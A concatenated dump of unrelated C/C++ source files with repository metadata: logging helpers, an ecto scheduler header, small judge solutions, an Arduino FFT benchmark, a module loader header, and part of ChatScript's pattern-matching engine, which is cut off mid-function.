inline void cerl_call dump(LogT& log, UInt16 val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, Int32 val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, UInt32 val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, Int64 val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, UInt64 val)
{
log.print(val);
}
template <class LogT>
inline void winx_call dump(LogT& log, const char* val)
{
log.printString(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, const NInformation& val)
{
log.print(val.ip)
.print(':')
.print(val.port);
}
template <class LogT>
inline void winx_call dump(LogT& log, const NoArgs& val)
{
dump(log, "void");
}
// =========================================================================
// dump Array Types
template <class LogT>
inline void cerl_call dump(LogT& log, const CharRange& val)
{
log.print(val.size());
log.print(":\"");
if (val.size() > 64)
{
log.printString(val.begin(), val.begin() + 64);
log.print("...");
}
else
{
log.printString(val.begin(), val.end());
}
log.print('\"');
}
template <class LogT>
inline void cerl_call dump(LogT& log, const String& val)
{
dump(log, *(const CharRange*)&val);
}
//
// compile error (gcc) fixed: move code to <venus/Io.inl>
//
template <class LogT, class DataIt>
void winx_call dumpArray(
LogT& log, DataIt first, size_t count,
const char* bracketL = "[", const char* bracketR = "]", const char* dataSep = ", ");
template <class LogT, class Type>
void cerl_call dump(LogT& log, const NS_STDEXT::Range<const Type*, Type>& val);
template <class LogT, class Type, size_t m_size>
void cerl_call dump(LogT& log, const Array<Type, m_size>& val);
// =========================================================================
// dump Code
template <class LogT>
inline void winx_call dumpCode(LogT& log, Code code)
{
if (code <= 2) {
static const char* g_descs[] = {
"false", "true", "ok"
};
dump(log, g_descs[code]);
return;
}
else if (code >= 0xf000) {
static const char* g_descs[] = {
"error", "timeout_error", "format_error", "unknown_fid",
"input_error", "encounter_exception", "socket_error", "undefined",
"exists_already",
};
const size_t idx = (code ^ 0xffff);
if (idx < countof(g_descs))
{
dump(log, g_descs[idx]);
return;
}
}
dump(log, "code:");
dump(log, code);
}
// =========================================================================
NS_CERL_IO_END
#endif /* VENUS_DUMP_H */
| [
"xushiweizh@gmail.com"
] | xushiweizh@gmail.com |
dc3f03cccb917dd7f50443a8fde83ffd3542e2d3 | 690ad75e99f8c713bdf8c3d243cc69326ecfba6c | /include/ecto/schedulers/multithreaded.hpp | 3b6c816c37d8b8c33a63443ed964d40730684b65 | [] | no_license | ethanrublee/ecto | aa51235b3fc3e6e6f319dad5bbd051b0898e0160 | 1d38993e97a81b4cbb9dea371e762acd850eaa1c | refs/heads/master | 2021-01-17T10:24:19.380597 | 2012-01-01T19:01:53 | 2012-01-01T19:01:53 | 1,470,418 | 2 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 2,556 | hpp | /*
* Copyright (c) 2011, Willow Garage, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Willow Garage, Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <ecto/plasm.hpp>
#include <ecto/scheduler.hpp>
#include <ecto/tendril.hpp>
#include <ecto/cell.hpp>
#include <ecto/strand.hpp>
#include <ecto/atomic.hpp>
#include <boost/asio.hpp>
#include <string>
#include <map>
#include <set>
#include <utility>
#include <deque>
namespace ecto {
namespace schedulers {
class ECTO_EXPORT multithreaded : public scheduler
{
public:
explicit multithreaded(plasm_ptr);
~multithreaded();
int execute_impl(unsigned niter, unsigned nthread, boost::asio::io_service& topserv);
void stop_impl();
void interrupt_impl();
void wait_impl();
private:
boost::asio::io_service workserv;
atomic<unsigned> current_iter;
boost::thread_group threads;
using scheduler::top_serv;
using scheduler::graph;
using scheduler::stack;
using scheduler::plasm;
friend struct stack_runner;
};
}
}
| [
"straszheim@willowgarage.com"
] | straszheim@willowgarage.com |
9e18ee1e55faf4bbef030f53868a2e12c228b336 | 032064ca629aa84e6ef831e707da7adae5a3c2a0 | /backjoon/io/10951.cpp | f7889f35f36a4c16f9bc218c3c836088fea7c47b | [] | no_license | skfo763/Problem_Solving | 6a53fbb2fa2a575e10401460638231bebb109057 | cdad27b493e941d7938f29baf88ceaae4cbffb87 | refs/heads/master | 2021-08-07T05:29:09.968394 | 2021-07-12T02:37:30 | 2021-07-12T02:37:30 | 205,546,650 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 174 | cpp | #include <iostream>
using namespace std;
int main(void) {
int A, B;
while (scanf("%d %d", &A, &B) != EOF) {
cout << A + B << '\n';
}
return 0;
}
| [
"scy7351@naver.com"
] | scy7351@naver.com |
93766a33b40a32d7017ccc9332750b05d18d0d26 | aaf86162b5f90e5d3358d9629a84a5af8feaf14b | /Hdu/水题/1038 Biker's Trip Odometer/main.cpp | bf68ca1ef6d71743302af0ed91bf07653fcf38a3 | [] | no_license | Linsenx/AcmCodes | ffbd5b5b634a693d9d5e8af680dfc8657085f2e1 | 08f6c708c9b47a3e8234dc2f9d2534344c0597c5 | refs/heads/master | 2021-09-14T11:57:43.707852 | 2018-05-13T06:04:00 | 2018-05-13T06:04:00 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 439 | cpp | #include <bits/stdc++.h>
#define pi 3.1415927
#define rate (12*5280);
using namespace std;
int r, kase;
float d, t, dis, speed;
int main()
{
ios::sync_with_stdio(false);
#ifdef ONLINE_JUDGE
#else
freopen("in.txt","r",stdin);
#endif
while (cin >> d >> r >> t && r != 0) {
dis = (2 * pi * (d / 2) * r) / rate;
speed = (dis / t) * 3600;
printf("Trip #%d: %.2lf %.2lf\n", ++kase, dis, speed);
}
return 0;
}
| [
"1279707779@qq.com"
] | 1279707779@qq.com |
25c9a27ff318672465c7f0b2f3ec2de9e49649ca | e875f8bffca3d6031151a99640857f76be70a142 | /Wforsyth/Source Code/Arduino Code/Ardunio_Uno_Fourier_Transform/Ardunio_Uno_Fourier_Transform.ino | 8151b9afb7c397fb5371ec0492df6cd76472ab9d | [] | no_license | shade34321/CS_6045 | 26621237e27e56b70a39521edb59fe4fa6d1c42b | 03f82fb01fc9f2805226d757fdddafbdab0cd47e | refs/heads/master | 2020-05-20T19:51:18.761813 | 2017-04-13T22:26:46 | 2017-04-13T22:26:46 | 84,515,843 | 0 | 1 | null | 2017-04-13T22:26:47 | 2017-03-10T03:35:43 | C | UTF-8 | C++ | false | false | 6,070 | ino | #define SIN_2PI_16 0.38268343236508978
#define SIN_4PI_16 0.707106781186547460
#define SIN_6PI_16 0.923879532511286740
#define C_P_S_2PI_16 1.30656296487637660
#define C_M_S_2PI_16 0.54119610014619690
#define C_P_S_6PI_16 1.3065629648763766
#define C_M_S_6PI_16 -0.54119610014619690
/* INPUT: float input[16], float output[16] */
/* OUTPUT: none */
/* EFFECTS: Places the 16 point fft of input in output in a strange */
/* order using 10 real multiplies and 79 real adds. */
/* Re{F[0]}= out0 */
/* Im{F[0]}= 0 */
/* Re{F[1]}= out8 */
/* Im{F[1]}= out12 */
/* Re{F[2]}= out4 */
/* Im{F[2]}= -out6 */
/* Re{F[3]}= out11 */
/* Im{F[3]}= -out15 */
/* Re{F[4]}= out2 */
/* Im{F[4]}= -out3 */
/* Re{F[5]}= out10 */
/* Im{F[5]}= out14 */
/* Re{F[6]}= out5 */
/* Im{F[6]}= -out7 */
/* Re{F[7]}= out9 */
/* Im{F[7]}= -out13 */
/* Re{F[8]}= out1 */
/* Im{F[8]}=0 */
/* F[9] through F[15] can be found by using the formula */
/* Re{F[n]}=Re{F[(16-n)mod16]} and Im{F[n]}= -Im{F[(16-n)mod16]} */
/* Note using temporary variables to store intermediate computations */
/* in the butterflies might speed things up. When the current version */
/* needs to compute a=a+b, and b=a-b, I do a=a+b followed by b=a-b-b. */
/* So practically everything is done in place, but the number of adds */
/* can be reduced by doinc c=a+b followed by b=a-b. */
/* The algorithm behind this program is to find F[2k] and F[4k+1] */
/* seperately. To find F[2k] we take the 8 point Real FFT of x[n]+x[n+8] */
/* for n from 0 to 7. To find F[4k+1] we take the 4 point Complex FFT of */
/* exp(-2*pi*j*n/16)*{x[n] - x[n+8] + j(x[n+12]-x[n+4])} for n from 0 to 3.*/
void R16SRFFT(float input[16], float output[16]) {
float temp, out0, out1, out2, out3, out4, out5, out6, out7, out8;
float out9, out10, out11, out12, out13, out14, out15;
out0 = input[0] + input[8]; /* output[0 through 7] is the data that we */
out1 = input[1] + input[9]; /* take the 8 point real FFT of. */
out2 = input[2] + input[10];
out3 = input[3] + input[11];
out4 = input[4] + input[12];
out5 = input[5] + input[13];
out6 = input[6] + input[14];
out7 = input[7] + input[15];
out8 = input[0] - input[8]; /* inputs 8,9,10,11 are */
out9 = input[1] - input[9]; /* the Real part of the */
out10 = input[2] - input[10]; /* 4 point Complex FFT inputs.*/
out11 = input[3] - input[11];
out12 = input[12] - input[4]; /* outputs 12,13,14,15 are */
out13 = input[13] - input[5]; /* the Imaginary pars of */
out14 = input[14] - input[6]; /* the 4 point Complex FFT inputs.*/
out15 = input[15] - input[7];
/*First we do the "twiddle factor" multiplies for the 4 point CFFT */
/*Note that we use the following handy trick for doing a complex */
/*multiply: (e+jf)=(a+jb)*(c+jd) */
/* e=(a-b)*d + a*(c-d) and f=(a-b)*d + b*(c+d) */
/* C_M_S_2PI/16=cos(2pi/16)-sin(2pi/16) when replaced by macroexpansion */
/* C_P_S_2PI/16=cos(2pi/16)+sin(2pi/16) when replaced by macroexpansion */
/* (SIN_2PI_16)=sin(2pi/16) when replaced by macroexpansion */
temp = (out13 - out9)*(SIN_2PI_16);
out9 = out9*(C_P_S_2PI_16)+temp;
out13 = out13*(C_M_S_2PI_16)+temp;
out14 *= (SIN_4PI_16);
out10 *= (SIN_4PI_16);
out14 = out14 - out10;
out10 = out14 + out10 + out10;
temp = (out15 - out11)*(SIN_6PI_16);
out11 = out11*(C_P_S_6PI_16)+temp;
out15 = out15*(C_M_S_6PI_16)+temp;
/* The following are the first set of two point butterfiles */
/* for the 4 point CFFT */
out8 += out10;
out10 = out8 - out10 - out10;
out12 += out14;
out14 = out12 - out14 - out14;
out9 += out11;
out11 = out9 - out11 - out11;
out13 += out15;
out15 = out13 - out15 - out15;
/*The followin are the final set of two point butterflies */
output[1] = out8 + out9;
output[7] = out8 - out9;
output[9] = out12 + out13;
output[15] = out13 - out12;
output[5] = out10 + out15; /* implicit multiplies by */
output[13] = out14 - out11; /* a twiddle factor of -j */
output[3] = out10 - out15; /* implicit multiplies by */
output[11] = -out14 - out11; /* a twiddle factor of -j */
/* What follows is the 8-point FFT of points output[0-7] */
/* This 8-point FFT is basically a Decimation in Frequency FFT */
/* where we take advantage of the fact that the initial data is real*/
/* First set of 2-point butterflies */
out0 = out0 + out4;
out4 = out0 - out4 - out4;
out1 = out1 + out5;
out5 = out1 - out5 - out5;
out2 += out6;
out6 = out2 - out6 - out6;
out3 += out7;
out7 = out3 - out7 - out7;
/* Computations to find X[0], X[4], X[6] */
output[0] = out0 + out2;
output[4] = out0 - out2;
out1 += out3;
output[12] = out3 + out3 - out1;
output[0] += out1; /* Real Part of X[0] */
output[8] = output[0] - out1 - out1; /*Real Part of X[4] */
/* out2 = Real Part of X[6] */
/* out3 = Imag Part of X[6] */
/* Computations to find X[5], X[7] */
out5 *= SIN_4PI_16;
out7 *= SIN_4PI_16;
out5 = out5 - out7;
out7 = out5 + out7 + out7;
output[14] = out6 - out7; /* Imag Part of X[5] */
output[2] = out5 + out4; /* Real Part of X[7] */
output[6] = out4 - out5; /*Real Part of X[5] */
output[10] = -out7 - out6; /* Imag Part of X[7] */
}
void setup() {
unsigned long starttime;
unsigned long elapsed;
unsigned int i = 1, j = 1;
float data[16] = {1448, 904.5, 1367, 1057, 884.5, 144, 1292, 194.5, 841, 527.5, 678.5, 697.5, 1787.5, 203, 511, 451.5};
float output[16];
float zero = 0;
Serial.begin(9600);
Serial.println("Benchmark,Fourier_Transform,Processor,Ardunio_Uno");
Serial.println("# of 16 bit functions,time(miliseconds)");
for(i = 100; i<=50000; i+=100){
// start timer
starttime=millis();
for(j = 1; j<=i; j++){
R16SRFFT(data, output);
}
// stop timer
elapsed=(millis() - starttime);
Serial.print(i);
Serial.print(",");
// Serial.print(j);
// Serial.print(",");
Serial.println(elapsed);
}
Serial.println("END");
Serial.flush();
}
void loop() {
// put your main code here, to run repeatedly:
}
| [
"bill@Bills-MacBook-Pro.local"
] | bill@Bills-MacBook-Pro.local |
e25fdb0743d747d2512b9af8f4d26f295fbab4bc | 84643d000f9dd1e39c5c008b490b09a8956c0f02 | /purenessscopeserver/PurenessScopeServer/Message/LoadModule.h | a698923fb802ba30ec09474fc116bed8a496bbbb | [] | no_license | rover13/purenessscopeserver | 9b7d3329a5f81c0c335e6942ff4877c0bb2f4fd8 | b7255639dd94ea6b796e6537d3260c426bea1236 | refs/heads/master | 2020-05-19T17:03:45.461934 | 2015-02-19T03:08:28 | 2015-02-19T03:08:28 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 2,472 | h | #ifndef _LOADMODULE_H
#define _LOADMODULE_H
#include "ace/Date_Time.h"
#include "ace/Thread_Mutex.h"
#include "ace/Singleton.h"
#include "ace/OS_NS_dlfcn.h"
#include "MapTemplate.h"
#include "IObject.h"
#include <string>
#include <vector>
using namespace std;
struct _ModuleInfo
{
string strModuleName; //模块文件名称
string strModulePath; //模块路径
string strModuleParam; //模块启动参数
ACE_Date_Time dtCreateTime; //模块创建时间
ACE_SHLIB_HANDLE hModule;
int (*LoadModuleData)(CServerObject* pServerObject);
int (*UnLoadModuleData)(void);
const char* (*GetDesc)(void);
const char* (*GetName)(void);
const char* (*GetModuleKey)(void);
int (*DoModuleMessage)(uint16 u2CommandID, IBuffPacket* pBuffPacket, IBuffPacket* pReturnBuffPacket);
bool (*GetModuleState)(uint32& u4AErrorID);
_ModuleInfo()
{
}
};
class CLoadModule : public IModuleInfo
{
public:
CLoadModule(void);
~CLoadModule(void);
void Close();
bool LoadModule(const char* pModulePath, const char* pModuleName, const char* pModuleParam);
bool LoadModule(const char* pModulePath, const char* pResourceName);
bool UnLoadModule(const char* szResourceName);
int SendModuleMessage(const char* pModuleName, uint16 u2CommandID, IBuffPacket* pBuffPacket, IBuffPacket* pReturnBuffPacket);
int GetCurrModuleCount();
_ModuleInfo* GetModuleIndex(int nIndex);
_ModuleInfo* GetModuleInfo(const char* pModuleName);
//插件接口提供相关功能
bool GetModuleExist(const char* pModuleName);
const char* GetModuleParam(const char* pModuleName);
const char* GetModuleFileName(const char* pModuleName);
const char* GetModuleFilePath(const char* pModuleName);
const char* GetModuleFileDesc(const char* pModuleName);
uint16 GetModuleCount();
const char* GetModuleName(uint16 u2Index);
private:
bool ParseModule(const char* szResourceName, vector<string>& vecModuleName); //将字符串解析成数组
bool LoadModuleInfo(string strModuleName, _ModuleInfo* pModuleInfo, const char* pModulePath); //开始加载模块的接口和数据
private:
CMapTemplate<string, _ModuleInfo> m_mapModuleInfo;
char m_szModulePath[MAX_BUFF_200];
ACE_Recursive_Thread_Mutex m_tmModule;
};
typedef ACE_Singleton<CLoadModule, ACE_Null_Mutex> App_ModuleLoader;
#endif
| [
"freeeyes1226@gmail.com@f49f508c-0c2f-bbd7-3b2f-f17ad4634cb1"
] | freeeyes1226@gmail.com@f49f508c-0c2f-bbd7-3b2f-f17ad4634cb1 |
73ff84e7e626b964182832a9727a350d3eaeec7b | ecb324fb1afc5aeb6af1268021d7b56c71070e51 | /ACM俱乐部/大二下学期训练/5.2 热身赛7/L Mixtape Management(构造).cpp | 4eaa64e7837dca4f7556366b94f8cd6be64d9820 | [] | no_license | WULEI7/WULEI7 | 937d74340eae8aed4256be9c1978ead5eba718e0 | d3fd49bd0463f15bf325a13f5c80aa7ca6c89f9f | refs/heads/master | 2023-04-15T09:52:05.428521 | 2023-04-07T10:40:35 | 2023-04-07T10:40:35 | 239,913,141 | 2 | 0 | null | null | null | null | GB18030 | C++ | false | false | 285 | cpp | #include <iostream>
#include <cstdio>
using namespace std;
int main()
{
int n,t;
cin>>n;
for(int i=0;i<n;i++)
{
cin>>t;
cout<<1;//不能有前导零
if(t<10)
cout<<0;
cout<<i;//控制字典序
while(t--)
cout<<0;//控制大小顺序
cout<<" ";
}
return 0;
}
| [
"1119346121@qq.com"
] | 1119346121@qq.com |
22f62e420564edd31540ccce087a641b217ea290 | dd5e094e3b4ca0481a6c2b365dc74d663d17acf4 | /rectangle_minus.cpp | 8458da1800a2c9cc5f90008bd713a5f6baa536c1 | [] | no_license | 1sunshine1/20170915 | 8230e7c02cf7ee94b53b0d6669de83a3a5ade809 | eaae721c6e58f0c524db2162f526412cfb8d98a0 | refs/heads/master | 2021-09-03T16:24:13.907156 | 2018-01-10T11:36:11 | 2018-01-10T11:36:11 | 103,609,602 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 274 | cpp | int sum;
for (i = 0; i < m; ++i) {
for (j = 0; j < m; ++j) {
sum = 0;
for (k = 0; k < n; ++k) {
sum += matrix_a[i][k] * matrix_b[k][j];
}
printf("%d", sum);
| [
"noreply@github.com"
] | 1sunshine1.noreply@github.com |
ac16f169dd7c3744a5acb0067c67395ffc2883fe | 8e449c972657790aae39ea36e1377a686158eba2 | /ChatScript/src/patternSystem.cpp | b347e50731923f81bd720d461a78d672be5ac2dd | [
"Apache-2.0",
"MIT"
] | permissive | amardomingo/lsin-bot | b25ff2430df5882dc96c809aac90fbc763a5764a | 07a966090da2ae3e9b7cab85864378905381c833 | refs/heads/master | 2021-01-15T15:23:03.212552 | 2014-05-21T19:18:07 | 2014-05-21T19:18:07 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 29,203 | cpp | // patternSystem.cpp - performs pattern matching of rules
#include "common.h"
unsigned int positionStart;
unsigned int positionEnd;
unsigned int lastwordIndex;
static int defaultRange = 2;
#define MAX_PAREN_NEST 50
#define INFINITE_MATCH (unsigned int)(-(200 << 8))
static char* ptrStack[MAX_PAREN_NEST];
static int argStack[MAX_PAREN_NEST];
static int baseStack[MAX_PAREN_NEST];
static unsigned int functionNest = 0;
static bool HasProperty(char* ptr,char* compare) // %system variable
{
char* value = GetSystemVariable(ptr);
if (!*value) return false;
if (!compare) return true; // it has a value or not
char c = *compare;
if (c == '=') return !stricmp(value,compare+1); // direct uninterpreted value
else
{
float v2 = (float)atof(compare+1);
float v1 = (float)atof(value);
if (c == '>' && v1 > v2 ) return true;
if (c == '<' && v1 < v2 ) return true;
if (c == '&' && atoi(compare+1) & atoi(value)) return true;
return false;
}
}
bool MatchTest(WORDP D, unsigned int start,char* op, char* compare,int quote)
{ // handles ~, :, ', and regular words . IF It fails, it should have left positionEnd untouched!!
unsigned int id;
while (GetNextSpot(D,start,positionStart,positionEnd))
{
start = positionStart; // try again farther if this fails
if (op)
{
char* word;
word = quote ? wordStarts[positionStart] : wordCanonical[positionStart];
if (IsAlpha(*D->word)) word = D->word; // implicitly all normal words are relation tested as given
if (HandleRelation(word,op,compare,false,id) & ENDCODES) continue; // test fails.
}
if (!quote) return true; // allowed to match canonical and original
// we have a match, but we must prove it is a literal match, not a canonical one
if (positionEnd < positionStart) continue; // cant use match within (as in sets)
if (D->word[0] == '~') return true;
else if (positionStart >= positionEnd && !stricmp(D->word,wordStarts[positionStart])) return true; // literal match
else // matching a phrase...
{
char full[MAX_WORD_SIZE];
*full = 0;
for (unsigned int i = positionStart; i <= positionEnd; ++i)
{
strcat(full,wordStarts[i]);
if ( i != positionEnd) strcat(full,"_");
}
if (!stricmp(D->word,full)) return true;
}
}
return false;
}
bool FindSequence(char* word, unsigned int start)
{ // string contents searched for.... we dont look up the string itself because if dynamic, might not be marked...
// outside cares where we start, we dont. but we care that our words are in order later than start
unsigned int n = BurstWord(word);
unsigned int actualStart = 0;
bool matched = false;
positionEnd = start;
int oldend = 0; // allowed to match anywhere or only next
for (unsigned int i = 1; i <= n; ++i)
{
WORDP D = FindWord(GetBurstWord(i));
matched = MatchTest(D,positionEnd,NULL,NULL,0);
if (matched)
{
if (oldend > 0 && positionStart != (oldend + 1)) // do our words match in sequence
{
matched = false;
break;
}
if ( i == 1) actualStart = positionStart;
oldend = positionEnd;
}
else break;
}
if (matched) positionStart = actualStart; // actual start of sequence of words
return matched;
}
#define GAPPASSBACK 0X0000FFFF
#define NOT_BIT 0X00010000
#define FREEMODE_BIT 0X00020000
#define QUOTE_BIT 0X00080000
#define WILDGAP 0X00100000
#define WILDSPECIFIC 0X00200000
bool Match(char* ptr, unsigned int depth, int startposition, char kind, bool wildstart,unsigned int& gap,unsigned int& wildcardSelector,unsigned int &returnstart, unsigned int& returnend )
{// always STARTS past initial opening thing ([ { and ends with closing matching thing
globalDepth++;
char word[MAX_WORD_SIZE];
char* orig = ptr;
int statusBits = 0; // turns off: not, quote, startedgap, freemode, gappassback,wildselectorpassback
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERTABLOG, "%c ",kind); // start on new indented line
int matched;
unsigned int startNest = functionNest;
unsigned int result;
// for user defined function calls, nested data
unsigned int hold;
WORDP D;
bool success = false;
char* compare;
bool returned = false; // came back from a nesting, if we dont start a new nesting, we need to restore tab on this level
int firstMatched = -1; // () should return spot it started (firstMatched) so caller has ability to bind any wild card before it
if (wildstart) positionStart = INFINITE_MATCH; // INFINITE_MATCH means we are in initial startup, allows us to match ANYWHERE forward to start
positionEnd = startposition; // we scan starting 1 after this
unsigned int basicStart = startposition; // we must not match real stuff any earlier than here
char* argumentText = NULL; // pushed original text from a function arg -- function arg never decodes to name another function arg, we would have expanded it instead
while (1) // we have a list of things, either () or { } or [ ]. We check each item until one fails in () or one succeeds in [ ]
{
unsigned int oldp = positionStart; // in case we fail and need to restore. Also to confirm legal advance
unsigned int olde = positionEnd;
unsigned int id;
// script compiler has already insured all tokens have space separators...
// and *ptr is a significant character each time thru this loop
ptr = ReadCompiledWord(ptr,word); // ptr always moved to significant character after
if (trace && TraceIt(PATTERN_TRACE))
{
if (*word && *word != '(' && *word != '[' && *word != '{')
{
char* at = word;
if (*word == '=') at += 2; // skip = flag and accelerator
if (returned) Log(STDUSERTABLOG,"%s ",at); // restore indent level from before
else Log(STDUSERLOG,"%s ",at);
}
returned = false;
}
char c = *word;
switch(c)
{
case '@' :
if (word[1] == '_') // assign position
{
wildcardIndex = word[2]-'0';
positionStart = positionEnd = wildcardPosition[wildcardIndex++];
continue;
}
break;
case '!': // NOT condition - not a real token, always used with a following token
statusBits |= NOT_BIT;
if (word[1]) ptr -= strlen(word) - 1; // function argument like !~vegatable can creep thru
continue;
case '\'': // single quoted item - set quote flag
statusBits |= QUOTE_BIT;
if (word[1]) ptr -= strlen(word); // function argument like _~vegatable can creep thru
continue;
case '_': // memorization coming - there can be up-to-two memorizations in progress: _* and _xxx
// if we are going to memorize something AND we previously matched inside a phrase, we need to move to after...
if ((positionStart - positionEnd) == 1)// eg. I travel here_and_there sometimes - matching "here"
{
positionEnd = positionStart; // refuse to match within anymore
}
// GAP requires no numbers for forward or - for backward
wildcardSelector |= (*ptr == '*' && !IsDigit(ptr[1]) && ptr[1] != '-') ? WILDGAP : WILDSPECIFIC;
if (word[1]) ptr -= strlen(word) - 1; // function argument like _~vegatable can creep thru
continue;
case '<': // sentence start marker OR << >> set
// if (wildcardSelector & WILDSPECIFIC) blocked during init, so ignore here
if (gap ) // close to end of sentence
{
positionStart = lastwordIndex + 1; // pretend to match at end of sentence
int start = gap & 0x000000ff;
unsigned int limit = (gap >> 8);
gap = 0; // turn off
if ((positionStart - start) > limit) // too long til end
{
matched = false;
wildcardSelector &= -1 ^ WILDGAP;
break;
}
if (wildcardSelector & WILDGAP)
{
SetWildCard(start,lastwordIndex); // legal swallow of gap // request memorize
wildcardSelector &= -1 ^ WILDGAP;
}
}
if (word[1] == '<') // <<
{
statusBits |= FREEMODE_BIT;
positionStart = INFINITE_MATCH;
positionEnd = startposition; // allowed to pick up after here - oldp/olde synch automatically works
}
else positionStart = positionEnd = 0; // idiom < * and < _* handled under *
continue;
case '>': // sentence end marker
if (word[1] == '>') // >> closer
{
statusBits &= -1 ^ FREEMODE_BIT; // positioning left for a start of sentence
continue;
}
if (statusBits & NOT_BIT) // asks that we NOT be at end of sentence
{
matched = positionEnd != lastwordIndex;
statusBits &= -1 ^ NOT_BIT;
}
else // declares a match at end (position ptr set there)
{
// if a wildcard started, end it... eg _* >
if (gap)
{
int start = (gap & 0x000000ff);
int limit = gap >> 8;
int diff = (lastwordIndex + 1) - start; // ended - spot it started
gap = 0; // turn off
if (diff > limit) // too long til end
{
matched = false;
wildcardSelector &= -1 ^ WILDGAP;
break;
}
if (wildcardSelector & WILDGAP)
{
if ( diff ) SetWildCard(start,lastwordIndex); // legal swallow of gap
else SetWildCard("", "",NULL,lastwordIndex);
}
wildcardSelector &= -1 ^ WILDGAP;
olde = oldp = lastwordIndex; // insure we synch up correctly
positionStart = positionEnd = lastwordIndex + 1; // pretend to match a word off end of sentence
matched = true;
}
else if (positionEnd == wordCount)
{
positionStart = positionEnd = lastwordIndex + 1; // pretend to match a word off end of sentence
matched = true;
}
else matched = false;
}
break;
case '*': // GAP - accept anything (perhaps with length restrictions)
if (word[1] == '-') // backward adjust -1 is word before us
{
int count = (word[2] - '0'); // LIMIT 9 back
int at = positionEnd - count - 1;
if (at >= 0) // no earlier than pre sentence start
{
olde = olde = at; // set last match BEFORE our word
positionStart = positionEnd = at + 1; // cover the word now
matched = true;
}
else matched = false;
}
else if (IsDigit(word[1])) // fixed length match, treat as a matching word phrase
{
unsigned int count = word[1] - '0'; // limit 9
unsigned int at = positionEnd + count;
if (at <= lastwordIndex )
{ // fake match on specified word count
positionStart = positionEnd + 1 ; // fake match is here - wildcard gets the gap
positionEnd = at; // resume scan will be here
matched = true; // transparently moved forward
}
else matched = false;
}
else // there MUST be something after this, safe to use continue
{
if (word[1] == '~') gap = (word[2]-'0') << 8; // LIMIT 9
else
{
gap = 200 << 8; // 200 is infinitely large
if (positionStart == 0) positionStart = INFINITE_MATCH; // idiom < * resets to allow match anywhere
}
gap |= positionEnd + 1;
continue;
}
break;
case '$': // user variable
matched = (HandleRelation(word,"!=","",false,id) & ENDCODES) ? 0 : 1;
break;
case '^': // function call/argument/global argument
if (IsDigit(word[1]) || word[1] == '$' || word[1] == '_') // macro argument substitution or global macro var
{
++globalDepth;
argumentText = ptr; // transient substitution of text
if (IsDigit(word[1])) ptr = macroArgumentList[atoi(word+1)+userCallArgumentBase]; // LIMIT 9 macroArgumentList
else if (word[1] == '$') ptr = GetUserVariable(word+1);
else ptr = wildcardCanonicalText[word[2]-'0'];
ptr = SkipWhitespace(ptr);
continue;
}
D = FindWord(word,0);
if (!D) // must be found or script compiler would be unhappy - but just in case toavoid crash
{
matched = false;
break;
}
if (D->x.codeIndex) // builtin function - does not update position data
{
char* old = currentOutputBase;
currentOutputBase = AllocateBuffer();
ptr = DoFunction(word,ptr,currentOutputBase,result);
FreeBuffer();
currentOutputBase = old;
matched = !(result & (ENDRULE_BIT|FAILRULE_BIT|FAILTOPIC_BIT|ENDTOPIC_BIT| ENDSENTENCE_BIT| ENDSENTENCE_BIT));
break;
}
// user macro call
globalDepth++;
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERLOG,"("); // function call
baseStack[functionNest] = userCallArgumentBase; // old base saved
argStack[functionNest] = userCallArgumentIndex; // old extent saved
ptr += 2; // skip the ( and space
while (*ptr != ')' && *ptr) // read til end of args
{
char* spot = macroArgumentList[userCallArgumentIndex++];
ptr = ReadArgument(ptr,spot) ; // ptr returns on next significant char // skip space after each arg - this does not EVAL the arg, it just gets it
if (*spot == '^' && spot[1] == '#' ) strcpy(spot,macroArgumentList[atoi(spot+2)+userCallArgumentBase]); // function arg need to switch out to incoming arg NOW, because later the userCallArgumentBase will be wrong
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERLOG," %s, ",spot); // display macroArgumentList
}
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERLOG,")\r\n"); // macroArgumentList ended
userCallArgumentBase = argStack[functionNest]; // now change the decode base, AFTER we have decoded any macroArgumentList
ptrStack[functionNest] = ptr+2; // skip closing paren and space
++functionNest;
ptr = D->w.fndefinition; // substitute text in-line in execution -- stops when it runs out.
continue;
case 0: // ran out of data (havent failed yet) , only happens with argument or function substitutions
// function arg substitution ends
if (argumentText) // return to normal
{
--globalDepth;
ptr = argumentText;
argumentText = NULL;
continue;
}
